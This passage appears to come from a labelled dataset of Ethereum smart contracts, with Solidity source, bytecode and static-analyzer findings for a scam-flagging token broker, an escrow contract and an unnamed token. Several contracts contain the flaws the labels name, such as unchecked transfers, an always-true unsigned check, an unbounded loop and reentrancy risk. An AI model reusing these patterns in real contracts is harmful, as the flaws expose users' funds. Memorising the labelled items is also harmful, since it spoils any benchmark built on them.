5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a81905550600a600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b600080600060085490506000680ad78ebc5ac62000009050612333680ad78ebc5ac6200000600854611cf790919063ffffffff16565b82101561235257600854680ad78ebc5ac620000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e16f4a2347efd73f322b367a9d3d939a039a48973b723f86f45718a2bdd12a7064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,641 |
0x14639c7de58e8f2c714337cf242fa9d26d568665
|
pragma solidity ^0.4.11;
contract ScamStampToken {
//The Scam Stamp Token is intended to mark an address as SCAM.
//this token is used by the contract ScamStamp defined bellow
//a false ERC20 token, where transfers can be done only by
//the creator of the token.
string public constant name = "SCAM Stamp Token";
string public constant symbol = "SCAM_STAMP";
uint8 public constant decimals = 0;
uint256 public totalSupply;
// Owner of this contract
address public owner;
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
// Balances for each account
mapping(address => uint256) balances;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function balanceOf(address _owner) constant returns (uint balance){
return balances[_owner];
}
//Only the owner of the token can transfer.
//tokens are being generated on the fly,
//tokenSupply increases with double the amount that is required to be transfered
//if the amount isn't available to transfer
//newly generated tokens are never burned.
function transfer(address _to, uint256 _amount) onlyOwner returns (bool success){
if(_amount >= 0){
if(balances[msg.sender] >= _amount){
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
}else{
totalSupply += _amount + _amount;
balances[msg.sender] += _amount + _amount;
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
}
}
}
function transferBack(address _from, uint256 _amount) onlyOwner returns (bool success){
if(_amount >= 0){
if(balances[_from] >= _amount){
balances[_from] -= _amount;
balances[owner] += _amount;
Transfer(_from, owner, _amount);
return true;
}else{
_amount = balances[_from];
balances[_from] -= _amount;
balances[owner] += _amount;
Transfer(_from, owner, _amount);
return true;
}
}else{
return false;
}
}
function ScamStampToken(){
owner = msg.sender;
totalSupply = 1;
balances[owner] = totalSupply;
}
}
contract ScamStamp{
//the contract is intended as a broker between a scammer address and the scamee
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
modifier hasMinimumAmountToFlag(){
require(msg.value >= pricePerUnit);
_;
}
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
require(b > 0);
uint c = a / b;
require(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
address public owner;
//the address of the ScamStampToken created by this contract
address public scamStampTokenAddress;
//the actual ScamStampToken
ScamStampToken theScamStampToken;
//the contract has a brokerage fee applied to all payable function calls
//the fee is 2% of the amount sent.
//the fee is directly sent to the owner of this contract
uint public contractFeePercentage = 2;
//the price for 1 ScamStapToken is 1 finney
uint256 public pricePerUnit = 1 finney;
//for a address to lose the ScamStampTokens it must pay a reliefRatio per token
//for each 1 token that it holds it must pay 10 finney to make the token dissapear from they account
uint256 public reliefRatio = 10;
//how many times an address has been marked as SCAM
mapping (address => uint256) public scamFlags;
//contract statistics.
uint public totalNumberOfScammers = 0;
uint public totalScammedQuantity = 0;
uint public totalRepaidQuantity = 0;
mapping (address => mapping(address => uint256)) flaggedQuantity;
mapping (address => mapping(address => uint256)) flaggedRepaid;
//the address that is flagging an address as scam has an issurance
//when the scammer repays the scammed amount, the insurance will be sent
//to the owner of the contract
mapping (address => mapping(address => uint256)) flaggerInsurance;
mapping (address => mapping(address => uint256)) contractsInsuranceFee;
mapping (address => address[]) flaggedIndex;
//how much wei was the scammer been marked for.
mapping (address => uint256) public totalScammed;
//how much wei did the scammer repaid
mapping (address => uint256) public totalScammedRepaid;
function ScamStamp() {
owner = msg.sender;
scamStampTokenAddress = new ScamStampToken();
theScamStampToken = ScamStampToken(scamStampTokenAddress);
}
event MarkedAsScam(address scammer, address by, uint256 amount);
//markAsSpam: payable function.
//it flags the address as a scam address by sending ScamStampTokens to it.
//the minimum value sent with this function call must be pricePerUnit - set to 1 finney
//the value sent to this function will be held as insurance by this contract.
//it can be withdrawn by the calee anytime before the scammer pays the debt.
function markAsScam(address scammer) payable hasMinimumAmountToFlag{
uint256 numberOfTokens = div(msg.value, pricePerUnit);
updateFlagCount(msg.sender, scammer, numberOfTokens);
uint256 ownersFee = div( mul(msg.value, contractFeePercentage), 100 );//mul(msg.value, div(contractFeePercentage, 100));
uint256 insurance = msg.value - ownersFee;
owner.transfer(ownersFee);
flaggerInsurance[msg.sender][scammer] += insurance;
contractsInsuranceFee[msg.sender][scammer] += ownersFee;
theScamStampToken.transfer(scammer, numberOfTokens);
uint256 q = mul(reliefRatio, mul(msg.value, pricePerUnit));
MarkedAsScam(scammer, msg.sender, q);
}
//once an address is flagged as SCAM it can be forgiven by the flagger
//unless the scammer already started to pay its debt
function forgiveIt(address scammer) {
if(flaggerInsurance[msg.sender][scammer] > 0){
uint256 insurance = flaggerInsurance[msg.sender][scammer];
uint256 hadFee = contractsInsuranceFee[msg.sender][scammer];
uint256 numberOfTokensToForgive = div( insurance + hadFee , pricePerUnit);
contractsInsuranceFee[msg.sender][scammer] = 0;
flaggerInsurance[msg.sender][scammer] = 0;
totalScammed[scammer] -= flaggedQuantity[scammer][msg.sender];
totalScammedQuantity -= flaggedQuantity[scammer][msg.sender];
flaggedQuantity[scammer][msg.sender] = 0;
theScamStampToken.transferBack(scammer, numberOfTokensToForgive);
msg.sender.transfer(insurance);
Forgived(scammer, msg.sender, insurance+hadFee);
}
}
function updateFlagCount(address from, address scammer, uint256 quantity) private{
scamFlags[scammer] += 1;
if(scamFlags[scammer] == 1){
totalNumberOfScammers += 1;
}
uint256 q = mul(reliefRatio, mul(quantity, pricePerUnit));
flaggedQuantity[scammer][from] += q;
flaggedRepaid[scammer][from] = 0;
totalScammed[scammer] += q;
totalScammedQuantity += q;
addAddressToIndex(scammer, from);
}
function addAddressToIndex(address scammer, address theAddressToIndex) private returns(bool success){
bool addressFound = false;
for(uint i = 0; i < flaggedIndex[scammer].length; i++){
if(flaggedIndex[scammer][i] == theAddressToIndex){
addressFound = true;
break;
}
}
if(!addressFound){
flaggedIndex[scammer].push(theAddressToIndex);
}
return true;
}
modifier toBeAScammer(){
require(totalScammed[msg.sender] - totalScammedRepaid[msg.sender] > 0);
_;
}
modifier addressToBeAScammer(address scammer){
require(totalScammed[scammer] - totalScammedRepaid[scammer] > 0);
_;
}
event Forgived(address scammer, address by, uint256 amount);
event PartiallyForgived(address scammer, address by, uint256 amount);
//forgiveMe - function called by scammer to pay any of its debt
//If the amount sent to this function is greater than the amount
//that is needed to cover or debt is sent back to the scammer.
function forgiveMe() payable toBeAScammer returns (bool success){
address scammer = msg.sender;
forgiveThis(scammer);
return true;
}
//forgiveMeOnBehalfOf - somebody else can pay a scammer address debt (same as above)
function forgiveMeOnBehalfOf(address scammer) payable addressToBeAScammer(scammer) returns (bool success){
forgiveThis(scammer);
return true;
}
function forgiveThis(address scammer) private returns (bool success){
uint256 forgivenessAmount = msg.value;
uint256 contractFeeAmount = div(mul(forgivenessAmount, contractFeePercentage), 100);
uint256 numberOfTotalTokensToForgive = div(div(forgivenessAmount, reliefRatio), pricePerUnit);
forgivenessAmount = forgivenessAmount - contractFeeAmount;
for(uint128 i = 0; i < flaggedIndex[scammer].length; i++){
address forgivedBy = flaggedIndex[scammer][i];
uint256 toForgive = flaggedQuantity[scammer][forgivedBy] - flaggedRepaid[scammer][forgivedBy];
if(toForgive > 0){
if(toForgive >= forgivenessAmount){
flaggedRepaid[scammer][forgivedBy] += forgivenessAmount;
totalRepaidQuantity += forgivenessAmount;
totalScammedRepaid[scammer] += forgivenessAmount;
forgivedBy.transfer(forgivenessAmount);
PartiallyForgived(scammer, forgivedBy, forgivenessAmount);
forgivenessAmount = 0;
break;
}else{
forgivenessAmount -= toForgive;
flaggedRepaid[scammer][forgivedBy] += toForgive;
totalScammedRepaid[scammer] += toForgive;
totalRepaidQuantity += toForgive;
forgivedBy.transfer(toForgive);
Forgived(scammer, forgivedBy, toForgive);
}
if(flaggerInsurance[forgivedBy][scammer] > 0){
uint256 insurance = flaggerInsurance[forgivedBy][scammer];
contractFeeAmount += insurance;
flaggerInsurance[forgivedBy][scammer] = 0;
contractsInsuranceFee[forgivedBy][scammer] = 0;
}
}
}
owner.transfer(contractFeeAmount);
theScamStampToken.transferBack(scammer, numberOfTotalTokensToForgive);
if(forgivenessAmount > 0){
msg.sender.transfer(forgivenessAmount);
}
return true;
}
event DonationReceived(address by, uint256 amount);
function donate() payable {
owner.transfer(msg.value);
DonationReceived(msg.sender, msg.value);
}
function () payable {
owner.transfer(msg.value);
DonationReceived(msg.sender, msg.value);
}
}
|
0x6060604052361561008b5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461009057806318160ddd1461011b578063313ce5671461014057806370a08231146101695780638da5cb5b1461019a57806395d89b41146101c9578063a9059cbb14610254578063c8f2835f1461028a575b600080fd5b341561009b57600080fd5b6100a36102c0565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156100e05780820151818401525b6020016100c7565b50505050905090810190601f16801561010d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561012657600080fd5b61012e6102f7565b60405190815260200160405180910390f35b341561014b57600080fd5b6101536102fd565b60405160ff909116815260200160405180910390f35b341561017457600080fd5b61012e600160a060020a0360043516610302565b60405190815260200160405180910390f35b34156101a557600080fd5b6101ad610321565b604051600160a060020a03909116815260200160405180910390f35b34156101d457600080fd5b6100a3610330565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156100e05780820151818401525b6020016100c7565b50505050905090810190601f16801561010d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561025f57600080fd5b610276600160a060020a0360043516602435610367565b604051901515815260200160405180910390f35b341561029557600080fd5b610276600160a060020a0360043516602435610476565b604051901515815260200160405180910390f35b60408051908101604052601081527f5343414d205374616d7020546f6b656e00000000000000000000000000000000602082015281565b60005481565b600081565b600160a060020a0381166000908152600260205260409020545b919050565b600154600160a060020a031681565b60408051908101604052600a81527f5343414d5f5354414d5000000000000000000000000000000000000000000000602082015281565b60015460009033600160a060020a0390811691161461038557600080fd5b6000821061046d57600160a060020a03331660009081526002602052604090205482901061040857600160a060020a033381166000818152600260205260408082208054879003905592861680825290839020805486019055916000805160206105978339815191529085905190815260200160405180910390a350600161046d565b600080548380019081018255600160a060020a0333811680845260026020526040808520805490940187900390935590861680845292829020805486019055906000805160206105978339815191529085905190815260200160405180910390a35060015b5b5b5b92915050565b60015460009033600160a060020a0390811691161461049457600080fd5b6000821061058657600160a060020a03831660009081526002602052604090205482901061051e57600160a060020a03808416600081815260026020526040808220805487900390556001805485168352918190208054870190559054909216916000805160206105978339815191529085905190815260200160405180910390a350600161046d565b600160a060020a0380841660008181526002602052604080822080549083905560018054861684529282902080548201905591549195509216916000805160206105978339815191529085905190815260200160405180910390a350600161046d565b61046d565b50600061046d565b5b5b929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058205a63d8227c3296cfb3fe0a9aaf8d8b0b0adf15ce6be67ebf658b3ec658b976ab0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,642 |
0x0980f403d58032e945a269a42955339f52624484
|
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Contract that will work with ERC223 tokens.
*/
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Bounty0xEscrow is Ownable, ERC223ReceivingContract, Pausable {
using SafeMath for uint256;
mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
event Deposit(address indexed token, address indexed user, uint amount, uint balance);
event Distribution(address indexed token, address indexed host, address indexed hunter, uint256 amount);
constructor() public {
}
// for erc223 tokens
function tokenFallback(address _from, uint _value, bytes _data) public whenNotPaused {
address _token = msg.sender;
tokens[_token][_from] = SafeMath.add(tokens[_token][_from], _value);
emit Deposit(_token, _from, _value, tokens[_token][_from]);
}
// for erc20 tokens
function depositToken(address _token, uint _amount) public whenNotPaused {
//remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
require(_token != address(0));
require(ERC20(_token).transferFrom(msg.sender, this, _amount));
tokens[_token][msg.sender] = SafeMath.add(tokens[_token][msg.sender], _amount);
emit Deposit(_token, msg.sender, _amount, tokens[_token][msg.sender]);
}
// for ether
function depositEther() public payable whenNotPaused {
tokens[address(0)][msg.sender] = SafeMath.add(tokens[address(0)][msg.sender], msg.value);
emit Deposit(address(0), msg.sender, msg.value, tokens[address(0)][msg.sender]);
}
function distributeTokenToAddress(address _token, address _host, address _hunter, uint256 _amount) external onlyOwner {
require(_hunter != address(0));
require(tokens[_token][_host] >= _amount);
tokens[_token][_host] = SafeMath.sub(tokens[_token][_host], _amount);
if (_token == address(0)) {
require(_hunter.send(_amount));
} else {
